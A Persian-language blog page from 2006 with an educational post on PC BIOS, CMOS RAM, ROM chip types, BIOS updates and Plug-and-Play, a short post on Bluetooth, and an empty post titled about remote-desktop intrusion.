BOISدر حقیقت نرم افزار را به سخت افزار متصل می نماید . قسمتی از بایوس بر روی چیپ ROM مادربرد و قسمتی دیگر بر روی چیپ کارتهای وفق دهنده قرار دارد که FIRE WARE(یعنی میانه افزار یا سفت افزار) نامیده میشود .

یک PC می تواند شامل لایه هایی (بعضی نرم افزاری و بعضی سخت افزاری ) باشد که واسط بین یکدیگرند.
در اکثر اوقات شما می توانید یک کامپیوتر (PC) را به چهار لا یه تقسیم کنید که هر کدام از لایه ها به زیر مجموعه هایی کوچکتر تقسیم کنیم . در شکل 1-5 چهار لایه نمونه از یک PC را مشاهده می کنید . هدف از این نوع طراحی این است که سیستم عامل ها و نرم افزار های مختلف بر روی سخت افزار های مختلف اجرا شوند (حالت مستقل از سخت افزار ) . شکل 1-5 نشان می دهد که چگونه دو ماشین متفاوت با سخت افزار های مختلف که از یک نسخه بایوس استفاده می کنند ، می توانند انواع نرم افزارها و سیستم عامل های مختلف را اجرا کنند . بدین طریق دو ماشین با دو پردازنده مختلف، رسانه های ذخیره سازی متفاوت و دو نوع واحد گرافیکی و غیره ... ، یک نرم افزار را اجرا کنند .

در معماری این لایه ها برنامه های کاربردی با سیستم عامل از طریق API(Application Program Interface) ارتباط برقرار می کنند .
API بر اساس سیستم عاملی که مورد استفاده قرار می گیرد و مجموعه توابع و دستورالعملهایی که برای یک بسته نرم افزاری ارائه می دهد ، متغیر می باشد . به طور مثال یک بسته نرم افزاری می تواند از سیستم عامل برای ذخیره و بازیابی اطلاعات استفاده کند و خود نرم افزار مجبور نیست که این کارها را انجام دهد.
نرم افزارها طوری طراحی شده اند که ما می توانیم آنرا بر روی سیستمهای دیگر نصب و اجرا نمائیم و این به دلیل مجزا شدن سخت افزار از نرم افزار است و نرم افزار از سیستم عامل برای دستیابی به سخت اقزار سیستم استفاده می کند . سپس سیستم عامل از طریق واسط ها به لایه های بایوس دستیابی پیدا می کند .بایوس شامل نرم افزارهای گرداننده ای است که بین سخت افزار و سیستم عامل ارتباط برقرار می کند . به خودی خود سیستم عامل هیچگاه نمی تواند مستقیما به سخت افزار دستیابی پیدا کند ، در عوض مجبور است از طریق برنامه های گرداننده ای که به این کار تخصیص یافته اند عمل کند .
یکی از وظایف تولید کنندگان قطعات سخت افزاری آن است که گرداننده ای برای قطعات تولیدی خود ارائه دهند ، و چون گرداننده ها باید بین سخت افزار و نرم افزار عمل نمایند ، باید گرداننده های هر سیستم عامل مجزا تولید شوند . بنابراین کارخانه سازنده قطعات باید گرداننده های مختلفی ارائه دهد تا قطعه مورد نظر بتواند بر روی سیستم عاملهای مزسوم کار کند .

چون لایه های بایوس همانند یک سیستم عامل به نظر می رسند ، مهم نیست که با چه سخت افزاری کار می کند ، و ما می توانیم سیستم عاملها را بر روی هر کامپیوتری و با هر نوع مشخصات سخت افزاری نصب و استفاده نمائیم .
برای مثال شما می توانید Windows 98 را بر روی دو سیستم متفاوت با پردازنده ،هارد دیسک،و کارت گرافیکی و ... که متفاوت از یکدیگرند نصب و اجرا کنید، اما بر روی هر دو سیستم همان کارائی خود را داراست، و زیرا که گرداننده ها همان عملکرد پایه را انجام می دهند و مهم نیست که بر روی چه سخت افزاری کار می کنند .

معماری سخت افزار و نرم افزار بایوس
البته بایوس ، نرم افزاری است که شامل گرداننده های مختلفی است که که رابط بین سخت افزار و سیستم عامل هستند یعنی بایوس نرم افزاری است که همه آن از روی دیسک بارگذاری نمی شود بلکه قسمتی از آن ، قبلا بر روی چیپهای موجود در سیستم یا برروی کارتهای وفق دهنده نصب شده اند.

بایوس در سیستم به سه صورت وجود دارد :
1-ROM BIOS نصب شده بر روی مادر برد.
2- بایوس نصب شده بر روی کارتهای وفق دهنده (همانند کارت ویدئویی)
3- بارگذاری شده از دیسک(گرداننده ها)

چون بایوس مادربرد مقدمات لازم را برای گردادننده ها و نرم افزارها ی مورد نیاز فراهم میکند ،د اکثرا به صورت سخت افزاری که شامل یک چیپ ROM می باشد موجود است.
سالهای پیش هنگامی که سیستم عامل DOS بر روی سیستم اجرا میشد خود به تنهائی کافی بود و گرداننده ای (Driver) مورد نیاز نداشت . بایوس مادربرد به طور عادی شامل گرداننده هایی است که برای یک سیستم پایه همانند صفحه کلید، فلاپی درایو، هارد دیسک ، پورتهای سزیال و موازی و غیره ... است.

به جای اینکه برای دستکاههای جدید لازم باشد که بایوس مادربرد را ارتقاء دهید، یک نسخه از گرداننده آن را بر روی سیستم عامل خود نصب می نمائید تا سیستم عامل پیکربندی لازم را در هنگام بوت شدن سیستم را برای استفاده ار آن دستگاه انجام دهد ، برای مثال می توانیم CD ROM،Scanner،Printer،گرداننده های PC CARD را نام برد.چون این دستکاهها لازم نیستند که در هنگام راه اندازی سیستم فعال باشند ، سیستم ابتدا از هارد دیسک راه اندازی می شود وسپس گرداننده های آنرا بار گذاری می نماید.
البته بعضی از دستگاهها لازم است که در طول راه اندازی سیستم عامل فعال باشند ، اما این امر چگونه امکان پذیر است مثلا قبل از آنکه گرداننده کارت ویدئویی از ROM BIOS و یا از روی هارد دیسک فراخوانی شود شما چگونه می توانید اطلاعات را بر روی مانیتور ببینید ..
یک جواب این است که در ROM تمام گرداننده های کارت گرافیکی وحود داشته باشد اما این کار غیر ممکن نیست زیرا کارتهای بسیار متنوعی وجو دارد که هر کدام گرداننهده مربوط به خود را داراست که این خود باعث می شود صدها نوع ROM مادربرد به وجود آید که هر کدام مربوط به یک کارت گرافیکی می باشد.
اما هنگامی که IBM،PC های اولیه خود را اختراع نمود راه حل بهتری ارائه داد . او ROM مادربرد را طوری طراحی کرد که شکاف (Slot)کارت گرافیکی را برای پیدا کردن ROM نصب شده روی کارت گرافیکی را جستجو کند .

و اگر ROM روی کارت را می توانست پیدا می کرد ، مرحله اولیه راه اندازی را قبل از اینکه سیستم عامل از روی دیسک فراخوانی (Load) شود ،اجرا می نمود. بدین وسیله از تعویض ROM قرار داده شده بر روی مادربرد برای استفاده و فعال کردن دستگاه مورد نظر،ممانعت می کند.
کارتهای مختلفی که تقریبا بر روی همه آنها ROM وجود دارد ، شامل موارد زیر هستند :
کارتهای ویدئویی که همیشه دارای BIOS می باشند.
وفق دهنده های SCSI که امکان استفاده از دستگاههای با اتصالات SCSI را فراهم می آورد .
کارتهای شبکه که امکان راه اندازی سیستم با استفاده از فایل سرور که معمولا Boot Rom یا IPL(Initial Program Load) ROM نامیده می شوند، را فراهم می آورد ..
استفاده از دستگاههای IDE
بردهای Y2K که برای کامل کردن CMOS RAM هستند .

BIOS و CMOS RAM
اکثر افراد BIOS رابا CMOS RAM اشتباه می گیرند ، این از آنجا سرچشمه می گیرد که برنامه Setup برای پیکربندی BIOS و ذخیره آن در CMOS RAM می شود استفاده می شود.
در حقیقت BIOS و CMOS RAM دو چیز متفاوت از هم می باشند. بایوس مادربرد در یک چیپ ROM به طور ثابت ذخیره شده است.
همچنین بر روی مادربرد یک چیپ است که RTC/NVRAM نامیده می شود ، که زمان سیستم را نگهداری می کند و یک حافظه فرار و ثابت است که اولین بار در چیپ MC146818 ساخت شرکت موتورلا استفاده شده است، و ظرفیت آن 64 بایت است که 10 بایت آن مربوط به توابع ساعت است ..
اگرچه این چیپ غیر فرار نامیده می شود اما با قطع برق ، ساعت و تاریخ تنظیم شده در آن و داده های درون RAM پاک می شود .
در حقیقت غیر فرار نامیده می شود چون با استفاده از تکنولوژی CMOS(Complementarry Metal-Oxide Semicondector) ساخته شده است ، در نتیجه با یک جریان بسیار کم که بوسیله باطری سیستم تامین می گردد ، پایدار باقی می ماند که اکثر مردم به این چیپ ،CMOS RAM می گویند .
هنگامی که وارد BIOS Setup می شوید و پارامترهای خود راتنظیم و ذخیره می نمایید ، این تنظیمات در ناحیه ای از چیپ RTC/NVRAM ذخیره می شوند(که همچنین CMOS RAM نیز نامیده می شود).
و در هر موقع که سیستم خود را راه اندازی می کنید پارامترها از CMOS RAM خوانده می شوند و تعیین می کنند که سیستم چگونه پیگربندی شده است.

BIOS مادربرد :
همه مادربردها شامل یک چیپ مخصوص هستند که بر روی آن نرم افزاری قرار دارد که BIOS یا ROM BIOS نامیده می شود . این چیپ ROM شامل برنامه های راه اندازی و گرداننده هایی است که که در هنگام راه اندازی سیستم مورد نیاز است و یک واسطه به سخت افزار پایه سیستم است .
اغلب به CMOS RAM (حافظه پاک نشدنی NVRAM(Non-Volatile نیز می گویند ، چون با 1 ميلينيوم آمپر فعال می شود و تا هنگامی که باطری لیتیوم فعال باشد ، داده ها باقی می مانند.
BIOS مجموعه ای از برنامه هایی است که در یک یا چند چیپ ذخیره شده است ، که در طول راه اندازی سیستم این مجموعه از برنامه ها قبل از هر برنامه ای حتی سیستم عامل بارگذاری می شوند .
BIOS در اکثر سیستمهای PC ها شامل چهار تابع است:
POST(Power Self On Test): این برنامه پردازنده، حافظه ،چیپستها ،وفق دهنده ویدوئویی ، دیسک کنترلر ،گرداننده های دیسکی ،صفحه کلید ،و مدارات دیگر را تست می کند.
BIOS Setup: برنامه ای است که در طول اجرای برنامه POST بافشار دادن کلید خاصی فعال می شود و به شما اجازه می دهد مادربرد را پیکربندی کنید و تنظیم پارامترهایی همانند ساعت و تاریخ و پسورد و ... را انجام دهید. در سیستمهای 286 و 386 برنامه Setup در ROM آنها وجود ندارد و لازم است که شما سیستم را توسط دیسک مخصوص Setup راه اندازی نمائید.
بارگذارکننده یا لودر BootStrap :روالی است که سیستم ار برای پیدا کردن سکتور Boot جستجو می کند .
BIOS: که مجموعه ای از گرداننده هایی است که واسط بین سخت افزار و سیستم عامل است.

سخت افزار ROM:
ROM نوعی از حافظه است که که داده ها را به طور دائم یا غیر دائم نگهداری می کند .به آن فقط خواندنی می گویند زیرا یک بار بر روی آن می نویسند و بارها آنرا می خوانند و اگر دوباره قابل نوشتن باشد بسیار دشوار است ..
ROM به حافظه غیر فرار نیز معروف است ، زیرا هر داده ای که در آن ذخیره شود با قطع برق سیستم پاک نمی شود . توجه داشته باشید که RAM و ROM تناقضی با یکدیگر ندارند .
در حقیقت تکنولوژی ROM زیر مجموعه ای از سیستم RAM می باشد به طور خلاصه قسمتی از فضای حافظه RAM به یک یا چند چیپ اشاره می کنند.
به طور مثال هنگامی که کامپیوتر را روشن می کنیم پردازنده به طور خودکار به آدرس FFFF0h پرش می کند.که در این آدرس دستوراتی است که به پردازنده می گویند چه کاری انجام دهد .

این محل 16 بایتی درست در انتهای اولین مگابایت RAM و همچنین در پایان حافظه ROM قرار گرفته است.معمولا سیستم ROM از آدرس F0000h شروع میشود که 64 کیلو بایت قبل از انتهای اولین مگابایت می باشد ، و معمولا چون اندازه ROM 64 کیلو بایت است 64 کیلو بایت آخر اولین مگابایت را اشغال می کند و در آدرس FFF0h دستورات راه اندازی سیستم قرار دارد .

افراد بسیاری تعجب می کنند که یک PC با اجرای دستورات 16 بایت از حافظه ROM می تواند راه اندازی شود ، اما این طراحی کاملا حساب شده است.
این طراحی بدین گونه است که در 16 بایت آخر ROM یک دستور JMP به اول ROM است و کنترل برنامه را به ابتدای ROM می برد ، پس به این طریق می توانیم اندازه ROM را به هر قدر که بخواهیم افزایش دهیم . ROM BIOS اصلی که برروی مادربرد است شامل یک چیپ ROM است.چون قسمت اصلی BIOS در ROM است ، ما اغلب آنرا ROM BIOS می نامیم .
کارت های وفق دهنده ای که در طول راه اندازی سیستم مورد نیاز هستند دارای یک ROM بر روی بردشان می باشند . که از این کارتها می توان کارت ویدئو ،اکثر Small Small Cmputer System Interface) SCSI( ها ، کارت کنترلر IDE توسعه یافته، برخی از کارتهای شبکه (برای راه اندازی توسط Server) .

ROMهایی که بر روی کارتهای وفق دهنده هستند توسط برنامه POST در طول راه اندازی سیستم اسکن و خوانده می شوند. ROM مادربرد قسمت خاصی ازRAM (از آدرس C00000h-DFFFFh) را رزرو می کند و سپس دوبایت از آدرس 55AAh را می خواند که در آن آدرس شروع ROM قرار دارد .
سومین بایت اندازه ROM را در واحد 512 بایت(که Paragraphنامیده می شود) نشان می دهد و چهارمین بایت شروع برنامه راه انداز میباشد. یکبایت نیز به منظور تست کردن توسط ROM مادربرد استفاده می شود.

ROM Shadowing:
چیپهای RAM طبیعتا در مقابل چیپهای DRAMها کند می باشند ، زیرا زمان دستیابی به ROM 150 نانوثانیه است، اما زمان دستیابی DRAM ها 50 نانوثانیه می باشد .
به همین دلیل در بسیاری از سیستمها ROM ها به صورت پنهان (Shadowing) هستند، بدین معنی که ROMها در ابتدای راه اندازی یسیتم در چیپهای DRAM کپی می شوند که این باعث دسترسی و اجرای سریعتر عملیات می شود .
زیربرنامه ها و روالهایی که به روالهای پنهانی (Shoadowing Procedure) محتویات ROM را در RAM کپی می کنند و آدرس آن را به عنوان ROM معرفی می کنند و ROM واقعی ار غیر فعال می کنند ،که این باعث می شود که به نظر برسد که سیستم با سرعت 60 نانوثانیه کار می کند.
استفاده از این روش هنگامی مفید است که از یک سیستم عامل 16 بیتی مانند ِDOS و یا WIN3.1 لستفاده می کنیم ..و اگر از سیستم عامل 32 بیتی مانند WIN 98,WIN95,WIN NT استفاده می کنید ، این روش تقریبا بی حاصل است زیرا این سیستم عاملها هنگامی که بر روی سیستم اجرا می شوند از کد 16 بیتی ROM استفاده نمی کنند.
اما در عوض از گرداننده های 32 بیتی که در طول راه اندازی سیستم عامل در حافظه RAM بارگذاری می کنند ، استفاده مینمایند.
چهار نوع چیپ ROM وجود دارد :
* ROM
* PROM
*EPROM
EEPROM * که نیز Flash ROM نیز می نامند.

PROM:
این چیپها که از نوع ROM می باشند در ابتدای ساخت خالی می باشند و باید با داده هایی که می خواهید برنامه ریزی کنید. این نوع حافظه ها در اواخر سال 1970 به وسیله شرکت Tenas Instruments ساخته شد ودر اندازه های مختلف 1 کیلو بایت تا 2 مگابایت و بیشتر هستند که شماره شناسایی آنها 27nnnn می باشد كه عدد 27 شماره شناسایی چیپهای PROM می باشد و nnnn اندازه این چیپ بر حسب بایت می باشد.
اگر چه می گوییم این حافظه ها در ابتدای ساخت خالی هستند اما به طور تکنیکی دارای مقدار 1 می باشند . بنابراین یک PROM خالی می تواند برنامه ریزی شده باشد و ما می توانیم بر روی آن بنویسیم . برای نوشتن به دستگاه مخصوص که ROM Programer یا سوزاننده (Burner) نام دارد ، نیاز داریم .
برخی اوقات شنیده اید که به چیپ های ROM نیز Burning (یعنی سوزان) می گویند ، زیرا هر بیت باینری یک فیوز است که سالم بودن آن نشانگر یک و در غیراین صورت صفر می باشد ..

بهتر است که بدانید اکثر چیپ ها با 5 ولت جریان فعال می شوند و هنگامی که ما برنامه ای را بر روی چیپ های PROM می نویسیم یا اصطلاحا Program می نمائیم جریانی بیشتر از 5 ولت که معمولا 12 ولت است اعمال می کنیم که این باعث سوختن فیوزهای آدرسهایی می شود که ما می خواهیم . باید توجه داشته باشید که ما می توانیم یک را صفر تبدیل کنیم ولی برعکس آن ممکن نیست .
به این چیپ ها OTP (One Time Programmable) نیز می گویند در شکل 2-1 تصویر یک Programmer چند سوکته را مشاهده می کنید که به آن (Gang Programmer) یا برنامه ریز گروهی نیز می گویند. و می تواند چندین چیپ را در هر بار برنامه ریزی کند.

EPROM:
نیز یک نوع عمومی از PROM می باشد که قابلیت پاک شدن و دوباره برنامه ریزی را داراست . بر روی این چیپها یک بلور کوارتز قرار دارد که مستقیما بر روی die قرار دارد. این چیپها با شماره 27xxxx شناسایی می شوند و به وسیله برنامه یا به طور فیزیکی می توان آنها را پاک کرد.(شکل 5-3)
هدف از قرار دادن بلور کوارتز این است که اشعه فرا بنفش به die برسد ، زیرا چیپ EPROM با تابش اشعه فرا بنفش پاک می شود. اشعه فرا بنفش باعث ایجاد یک واکنش شیمیایی می شود که که فیوزها را پشت سر هم ذوب می کند ، بنابراین تمام صفرها به یک تبدیل می شوند و چیپ به حالت اولیه خود باز می گردد. برای این کار باید ، اشعه فرا بنفش را در طول موج 2537 انگستروم و با شدت یکنواخت 12000 uv/cm2 و در مدت 5 تا 15 دقیقه باشد.
یک دستگاه پاک کننده EPROM ، یک تولید کننده امواج فرا بنفش است که دارای یک فضای بسته است که دارای یک کشو می باشد و در بالای کشو تولید کننده امواج فرا بنفش می باشد و چیپها درون کشو قرار می گیرند.

EPROM/Flash ROM :
یک نوع دیگر از چیپهای ROM ، چیپهای EPROM که Flash ROM نیز نامیده می شوند و از خصوصیات مهم آنها این است که قابل پاک شدن و برنامه ریزی توسط مدارهایی هستند که بر روی آنها نصب می شوند و وسایل و ابزار خاصی نیاز ندارند.
این چیپ ها به وسیله شماره های 29xxxx و 28xxxx شناخته می شوند . هم اکنون در مادربردهای کامپیوتر از چیپهای EEPROM استفاده میشود. این بدان معنی است که BIOS مادربرد خود را می توانید به وسیله دریافت نسخه به روز درآمده از شرکت سازنده ، به روز رسانی نمائید.

تولید کننده های ROM BIOS:
تعداد بسیاری از تولید کننده های امروزه اکثر مادربردها را پشتیبانی می کنند و چندین کمپانی در زمینه تولید محصولات ROM BIOS ، به طور تخصصی فعالیت دارند.
سه کمپانی بزرگ که در زمینه نرم افزار ROM BIOS فعالیت دارند عبارتند از :
Phonix SoftWare , American Magatrends ..Inc (AMI) , Award SoftWare

به روز رسانی BIOS :
سیستم عاملها تقریبا بر روی هر سیستم کامپیوتری با سخت افزارهای مختلف سازگاری دارند و این به دلیل وجودBIOS است، چون این BIOS است که با سخت افزار سیستم ارتباط برقرار می کند.
اغلب در سیستمهای قدیمی برای بهره گیری از برخی دستگاههای جدید همانند گرداننده های IDE دیسک سختو یا گرداننده های فلاپی های LS-120 و یا در سیستمهایی که استفاده از دیسک بیش از 8GB را پشتیبانی نمی کنند ،باید BIOS را به روز رسانی نمود.

لیست زیر مجموعه ای از دلایلی است که باید BIOS را به روز رسانی نمود:
*استفاده از فلاپی درایوهای LS-120 که به سوپر درایو نیز معروفند.
* استفاده از هارد دیسک های بیش از 8GB
* استفاده از داریور هارددیسک Ultra DMA IDE
* استفاده از بوت کردن سیتم با درایو CD-ROM
* تصحیح خطای سال 2000 و سال کبیسه
* تصحیح خطاهای سازگاری با سخت افزار یا نرم افزار
* استفاده از پردازنده های جدید

اگر شما یک سخت افزار جدید نصب کرده اید و حتی دستورات نصب را به درستی انجام داده اید ، اما نمی توانید با آن کار کنید ، این خطا ممکن است از BIOS باشد و لازم است آن را به روزرسانی کنید. این موضوع به ویژه در سیستم عاملهای جدبد صدق می کند . بسیاری از سیستم های قدیمی نیاز به روزرسانی BIOS دارند تا به طور کامل از ویژگی های Plug-And-Play در ویندوزهای 95 و98 و 2000 استفاده کنند.
این مسائل از یک مادربرد به مادربرد دیگر متغیر است ، اما ارزش آن را دارد که BIOS سیستم را به روزرسانی کنید برای بروزرسانی BIOS یک مادربرد باید چند نکته را بدانید:
سازنده و مدل مادربرد
نسخه فعلی BIOS مادربرد
نوع CPU(مثلاPentium II , Pentium mmx )

نسخه برداری از تنظیمات فعلی CMOS:
بروزرسانی نسخه BIOS ممولا تنظیمات فعلی SETUP را به هم می ریزد ، بنابراین بهتر است آن نسخه برداری کنید ، برخی برنامه ها مانند نورتون یوتیلیتی می توانند تنظیمات CMOS را ذخیره کنند ، اما این نرم افزارها اکثرا در بازگرداندن تنظیمات SETUP ناموفق هستند. بهترین راه این است مه خودتان از تنطیمات SETUP نسخه برداری کنید و همچنین می توانید با اتصال چاپگر از تنظیمات SETUP یک کپی تهیه کنید (با فشار دادن کلیدهای Shift+PRN SCR)
چیپهای کنترلر صفحه کلید:
علاوه بر ROM اصلی سیستم ، در کامپیوترهای 286 و پائینتر همچنین یک کنترلر صفحه کلید یا ROM صفحه کلید وجود دارد ، که میکروپروسسور صفحه کلید در ROM صفحه کلید جاسازی شده است . این ROM را اغلب می توانید در Super I/O یا در چیپ South Bridge در مادر بردهای جدید پیداکنید. کنترلر صفحه کلید در اصل یک میکروکنترلر 8042 است که با آن یک میکروپروسسور ، ROM ، RAM و پورتهای I/O نیز ملحق کرده اند .در مادر بردهای جدید چیپ 8042 در داخل چیپ Super I/O یا South Bridge تعبیه شده است بنابراین شما چیپ 8042 را نخواهید دید.
در بسیاری از سیستم های قدیمی ، یکی از پورتهایی که استفاده نشده است برای انتخاب سرعت ساعت CPU استفاده می شود و این در سیستم های قدیمی هنگامی که سیستم عامل را به 95/98/2000 ارتقاء می دهید با کنترلر صفحه کلید مشکلاتی پیدا می کند که بعدها این مشکل نیز بر طرف شد.

به کار بردن Flash BIOS :
تقریبا تمام کامپیورترهای از سال 1996 به بعد دارای یک Flash ROM برای ذخیره کردن BIOS هستند .. Flash ROM نوعی از EEPROM است که می توانید بر روی آن عملیات پاک کردن و برنامه نویسی را انجام دهید . Flash ROM به کاربران این امکان را می دهد که نسخه به روزرسانی شده BIOS خود را بدون برداشتن و جایگزینی چیپ جدید ، بر روی مادربرد خود نصب کنند. اما در بعضی سیستم ها ممکن است در حالت حفاظت شده قرار گرفته شده باشد و شما باید قبل از بروز رسانی حفاظت آن را غیر فعال کنید ، که معمولا برای این کار یک جامپر یا یک سوئیچ بر روی مادربرد شده است . مقصود ازحفاظت بایوس این است که بضی ویروسها ممکن است کد خودشان را بر روی BIOS کپی کنند. حتی بدون استفاده از قفل فیزیکی ، Flash ROM های مدرن دارای یک الگوریتم حفاظتی برای جلوگیری از تغییرات بدون مجوز هستند.
باید توجه داشته باید هنگامی که در حال بروزرسانی BIOS هستید ، کامپیوتر را خامش نکنید و وقفه ای در کار سیستم رخ ندهد و گرنه BIOS سیستم خود را از دست خواهید داد و این بدین معنی است که شما قادر به راه اندازی مجد دسیستم نخواهید بود و یا حداقل به راحتی قادر به بازیابی BIOS سیستم نخواهید بود . در مادربردهای جدید یک برنامه مخصوص بازیابی BIOS وجود دارد که مربوط به قسمتی از Flash ROM است که نیز قابل پاک شدن می باشد .

سیستم BIOS و پارتیشن IML :
شرکت های IBM و Compaq از یک روش شبیه به Flash ROM استفاده می کنند که "بارگذاری میکرو کد آغازین IML" نام دارد که در برخی سیستم های Pentium و 486 به کار برده شده است.
IML تکنیکی است که کد BIOS بر روی یک پارتیشن سیستمی و مخفی بر روی هارد دیسک نصب می شود و هر گاه که سیستم روشن میشود ، بارگذاری می شود البته در این سیستم ها هنوز BIOS اصلی وجود دارد ، اما تمام عملیات از BIOS ذخیره شده در هارد دیسک انجام میشود.
این تکنیک اجازه می دهد تا یک BIOS توزیع شده بر روی هارد دیسک داشته باشیم . همراه با کد BIOS یک کپی کامل از SETUP و مشخصات و مراجع دیسک در این پارتیشن ذخیره می شود.
یکی از معایب این سیستم این است که بر روی هارد دیسک نصب شده و سیستم بدون تنظیمات ذخیره شده بر روی هارد دیسک کاملا راه اندازی نمی شود و شما نمی توانید سیستم را به وسیله فلاپی دیسک راه اندازی کنید.

آدرسهای CMOS RAM مادربرد :
در سیستم های AT یک چیپ 146818 موتورلا به عنوان یک
RTC (Real-Time Clock) و
( (Complementary Metal-Oxid Semicondector
CMOS RAM استفاده شده است .
این یک چیپ مخصوص ساده است که دارای یک ساعت دیجیتالی ساده است که 10 بایت از آدرس حافظه برای ساعت و 54 بایت اضافی برای ذخیره هر چیزی که بخواهید . IBM AT 5 بایت اضافی برای ذخیره پیکربندی سیستم استفاده می کنند . اما در سیستمهای جدید از این چیپ موتورلا استفاده نشده است ، در عوض عملیات این چیپ به چیپ Super I/O یا South Bridge ضمیمه شده است یا از یک باتری مخصوص و یک NVRAM استفاده می کنند .
توجه داشته باشید که در سیستمهای جدید بیشتر از 64 بایت CMOS RAM وجود دارد . در حقیقت بسیاری از سیستم ها ممکن است 2 یا 4 کیلو بایت داشته باشند ، که این حافظه اضافی برای ذخیره سازی جزئیات اطلاعات Plug-and-Play کارتهای وفق دهنده و دیگر انتخابات سیستم می باشد.
نرم افزارهای پشتیبانی و یوتیلیتی ها در محدوده اطلاعات عمومی CMOS RAM هستند و از این طریق می توانند در ذخیره سازی و بازگرداندن پیکربندی سیستم موثر واقع شوند ، اما متاسفانه این برنامه ها برای BIOS های خاص نوشته شده اند و فقط بر روی همان BIOS کار می کنند.

مساله سال 2000 در BIOS :
اکثر افراد با مشکل سال 2000 درگیر بودند ، به طور خلاصه منشا این مشکل آن است که ساعت سیستم طوری طزاحی شده است که رقمهای سال را به طور اتوماتیک به روز رسانی کند و رقمهای قرن به طور دستی باید تغییر کنند..به این معنی که اگر سیستم در طول سال 1999 تا سال 2000 خاموش باشد تاریخ به سال 1900 باز می گردد اما این مشکل در سیستمهای جدید رفع شده است .
هنگامی که سیستم عامل بارگذاری می شود ، تاریخ و ساعت را از BIOS سیستم دریافت می کند . به طور کلی یک نرم افزار می تواند ساعت را از سیستم عامل یا BIOS و با از RTC دریافت کند.

Plug-and-Play BIOS :
عموما نصب و پیکر بندی دستگاهها بر روی یک PC کار مشکلی است ، در طول نصب کاربر با مساله جدیدی روبه رو است،این که باید پورت I/O و کانال DMA را انتخاب کند . در گذشته کاربران مجبور بودند که جامپرها و سوئیج های برروی کارت را برای کنترل تنظیمات تغییر دهند ، که لازمه این کار شناخت منابع استفاده شده بر روی سیستم است ، و سپس تنظیم کردن منابعی که با دستگاههای موجود بر روی سیستم تضاد و ناسازگاری نداشته باشند.
تکنولوژی PnP برای جلوگیری از این مشگلات و فراهم ساختن توانائیهایی برای کاربران در توسعه PC های آنان می باشد ..با استفاده از این تکنولوژی کاربران کارت مورد نظر را در سیستم جا می زنند و سیستم به طور اتوماتیک بهترین پیکر بندی را انجام می دهد .

PnP از سه جزء مهم تشکیل شده است :
Plug-and-Play BIOS
سیستم توسعه یافته پیکر بندی داده ها (ESCD)
سیستم عامل Plug-and-Play
بایوس PnP شروع به پیکر بندی کارت PnP در طول پردازش راه اندازی سیستم می کند . اگر کارت قبلا نصب شده باشد بایوس اطلاعات را از ESCD می خواند و کارت را مقدار دهی اولیه می کند و سیستم را راه اندازی می نماید ..در طول نصب یک کارت PnP جدید ، بایوس برای تععین اینکه کدام منابع استفاده نشده اند و برای اضافه کردن کارت لازم هستند به ESCD مراجعه می نماید ..اگر بایوس بتواند منابع لازم را پیدا کند ، کارت را پیکر بندی می کند و در غیر این صورت روالهای Plug-and-Play در سیستم عامل کار پیکربندی را کامل می کنند . در طول روال پیکر بندی رجیسترهای Flash BIOS بر روی کارت و همچنین ESCD توسط داده های جدید پیکر بندی به روز رسانی می شوند .
 
comment نظرات ()
 
 
 
نویسنده : Hossein - ساعت ۱۱:٥٤ ‎ب.ظ روز چهارشنبه ٢٢ شهریور ،۱۳۸٥
 
آشنايي كلي با تكنولوژيBluetooth (بلوتوث)


منبع: دانستنيهاي كامپيوتر، الكترونيك و مخابرات


Bluetooth كه بعضي ها در فارسي آن را به دندان آبي ترجمه كرده اند. استانداردي براي امواج راديويي است كه كه براي ارتباطات بي سيم امپيوترهاي قابل حمل و نقل (مانند lap top ها) و تلفن هاي همراه و وسايل الكترونيكي رايج استفاده مي شوند اين امواج براي فاصله هاي نزديك استفاده مي شوند و براي ارتباطات بي سيم تكنولوژي ارزاني محسوب مي شوند. و بوسيله اين تكنولوژي مي توانيد بين دو وسيله كه داراي اين تكنولوژي باشند به صورت بي سيم پيغام، عكس يا هر كلاً اطلاعات رد و بدل كنيد. راديوي Bluetooth در داخل يك ميكرو چيپ قرار دارد و در باند فركانسي 2.4 گيگا هرتز عمل مي كند. اين تكنولوژي از سيستم "Frequency Hoping Spread Spectrum" استفاده مي كند، كه سيگنال آن 1600 بار در ثانيه تغيير مي كند كه كمك بزرگي براي جلوگيري از تداخل ناخواسته و غير مجاز است. علاوه بر اين بوسيله نرم افزار كد شناسايي وسيله طرف مقابل چك مي شود. بدين ترتيب مي توان اطمينان حاصل كرد كه اطلاعات شما فقط به مقصد مورد نظر مي رسد. اين امواج با دو قدرت وجود دارند. سطح قدرت پايين تر كه محيطهاي كوچك را مي تواند پوشش دهد ( مثلاً داخل يك اتاق ) يا در نوع با قدرت بالاتر كه رنج متوسطي را مي تواند پوشش دهد. ( مثلاً كل يك خانه را متواند پوشش دهد. ) اين سيستم هم براي ارتباط نقطه به نقطه و هم براي ارتباط يك نقطه با چند نقطه مي تواند استفاده شود. داراي پهناي باند 720Kbs و 10 متر قدرت انتقال (در صورت تقويت تا 100 متر قابل افزايش است ) مي باشد. اين تكنولوژي كه از سيستم گيرندگي و فرستندگي در جهت مناسب استفاده مي كند. قادر است امواج راديويي را از ميان ديوار و ديگر موانع غير فلزي عبور دهد. اگر امواج مزاحم دستگاه ثالثي باعث تداخل شود انتقال اطلاعات كند مي شود ولي متوقف نمي شود. با سيستمهاي امروزي بيش از 7 دستگاه مي توانند براي برقراري ارتباط با توليد كننده امواج در يك دستگاه ديگر فعال شوند. به اين شيوه Piconet مي گويند چندين piconet را مي توان به يكديگر متصل كرد كه يك scatternet را تشكيل مي دهند. Bluetooth SIG سازمان Bluetooth SIG يا Special interest group در سال 1998 بوسيله سوني اريكسون، IBM، Intel، نوكيا توشيبا بوجود آمد. و پس از آن شركتهاي تري كام، Lucent، مايكروسافت و موتورولا و بيش از 2000 كمپاني ديگر به اين سازمان پيوستند. فرايند صدور جواز و گواهينامه: قبل از اينكه يك كارخانه بتواند محصولي كه از تكنولوژي بي سيم Bluetooth استفاده مي كند وارد بازار كند بايد جواز آن را از دو جهت دريافت كند. ابتدا محصول مورد نظر استانداردهايي لازم دارد كه بتواند با دستگاههاي ديگر كه داراي تكنولوژي بي سيم Bluetooth هستند ارتباط برقرار كند. ديگر اينكه بايد مجوزهاي لازم براي اين سيستم چه در كشور سازنده و چه در كشوري كه محصول به فروش مي رود مجوزهاي قانوني آنها را دريافت كند.


 
comment نظرات ()
 
 
راهي براي نفوذ به سيستم (Remote PC Desktop)
نویسنده : Hossein - ساعت ۱۱:٤٦ ‎ب.ظ روز چهارشنبه ٢٢ شهریور ،۱۳۸٥
 

